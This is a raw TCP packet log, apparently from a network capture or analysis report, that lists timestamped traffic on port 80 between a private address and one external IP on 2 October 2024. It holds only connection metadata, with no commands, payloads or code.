Oct 2, 2024 17:16:00.263484001 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.263511896 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.264358044 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.264394045 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.264554024 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.264565945 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.264575958 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.264588118 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.264597893 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.264632940 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.264729023 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.264741898 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.264767885 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.264787912 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.264921904 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.264961958 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.265644073 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265655994 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265666962 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265682936 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.265698910 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.265822887 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265835047 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265846014 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265856981 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265863895 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.265875101 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265886068 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265894890 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.265896082 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265908003 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.265917063 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.265934944 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.266436100 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.266447067 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.266453981 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.266494989 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.266622066 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.266633987 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.266644001 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.266655922 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.266659975 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.266688108 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.266980886 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.267018080 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.267343044 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.267381907 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.267539978 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.267553091 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.267563105 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.267574072 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.267585039 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.267585993 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.267644882 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268042088 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268053055 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268066883 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268090963 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268208981 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268220901 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268230915 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268243074 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268249035 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268276930 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268390894 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268405914 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268438101 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268551111 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268562078 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268573999 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268584967 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268594027 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268594980 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268605947 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268610954 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268623114 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268630028 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268632889 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268645048 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268655062 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268656969 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268666029 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268676996 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268680096 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268692017 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268702984 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268707037 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268714905 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.268724918 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268743038 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.268975973 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269016981 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269017935 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269028902 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269059896 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269077063 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269098997 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269133091 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269153118 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269165039 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269176006 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269196987 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269213915 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269382000 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269433022 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269464970 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269476891 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269524097 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269702911 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269726992 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269738913 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269748926 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269752026 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269767046 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269779921 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269787073 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269793034 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269804001 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269809961 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269813061 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.269835949 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.269862890 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.285228014 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285320997 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.285401106 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285412073 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285439968 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.285456896 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.285547018 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285558939 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285571098 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285582066 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285592079 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285593987 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.285603046 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285614014 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285620928 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.285624981 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285639048 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.285648108 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.285670042 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.285712957 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.286427021 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.286475897 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.286616087 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.286657095 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.286792994 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.286806107 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.286815882 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.286827087 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.286828995 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.286839008 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.286858082 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.286890030 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.286921024 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.286931992 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.286962032 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.286983967 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287102938 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287141085 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287297964 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287308931 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287319899 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287328959 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287339926 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287339926 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287348032 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287350893 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287362099 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287372112 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287379026 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287381887 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287399054 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287409067 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287417889 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287420034 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287432909 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287434101 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287444115 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287445068 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287456036 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287467003 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287468910 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287492037 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287522078 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287625074 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287666082 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287811041 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287822008 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287833929 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287843943 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287853956 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287854910 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.287863970 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.287893057 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.288048983 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288085938 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.288235903 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288247108 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288259029 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288264036 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288275003 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288276911 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.288286924 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288296938 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.288327932 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.288604021 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288614988 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288645029 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.288791895 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288804054 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288834095 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.288862944 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.288963079 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288974047 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288985014 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.288994074 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289004087 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289022923 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289033890 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289035082 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289052963 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289071083 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289237976 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289251089 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289277077 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289302111 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289383888 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289395094 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289406061 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289416075 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289423943 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289427042 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289438009 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289441109 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289448977 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289459944 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289464951 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289482117 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289509058 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289563894 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289575100 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289583921 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289593935 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289603949 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289606094 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289623022 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289652109 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289737940 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289750099 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289760113 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.289777994 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.289797068 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290096045 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290107965 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290122032 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290132999 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290165901 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290278912 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290291071 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290301085 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290313005 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290322065 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290323973 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290334940 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290337086 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290354013 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290380955 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290683031 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290694952 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290704966 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290733099 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290755033 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290882111 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290893078 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290903091 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290914059 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290916920 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290924072 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290935993 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290944099 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290946960 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290957928 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290968895 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290971994 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290981054 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.290988922 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.290992022 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291002989 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291019917 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291029930 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291039944 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291043043 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291052103 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291114092 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291114092 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291707039 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291718006 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291728020 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291738987 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291743994 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291754007 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291755915 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291764975 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291774988 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291781902 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291785955 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291795969 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291799068 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291805983 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291815042 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291821957 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291826010 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291834116 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291836977 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291847944 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291855097 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291858912 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291870117 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.291888952 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291888952 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.291918993 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.292020082 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.292059898 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.375142097 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.375164032 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.375175953 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.375186920 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.375200987 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.375211000 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.375221968 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.375225067 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.375236034 CEST	80	49725	147.45.44.104	192.168.2.6
